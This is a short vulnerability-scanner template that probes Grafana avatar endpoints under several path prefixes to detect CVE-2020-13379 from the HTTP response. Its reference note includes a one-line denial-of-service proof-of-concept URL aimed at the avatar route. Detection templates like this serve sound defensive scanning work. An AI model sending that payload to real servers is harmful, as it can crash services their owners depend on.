id: CVE-2020-13379
info:
  name: Grafana DoS Probing
  risk: High

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      /
      /grafana/
      /debug/grafana/
      /-/grafana/
      /gitlab/-/grafana/
      /-/debug/grafana/

requests: 
  - method: GET
    redirect: false
    url: >-
      {{.root}}{{.endpoint}}avatar/120
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections:
      - >-
        StatusCode() == 200 && StringSearch("resHeaders", "Content-Type: image/jpeg") && StringSearch("body", "IEND") && StringSearch("body", "PNG")

references:
  - https://www.cvebase.com/cve/2020/13379
  - note: |
      Patched instance will show 404 code. Real DoS POC is http://target.com/avatar/%25anything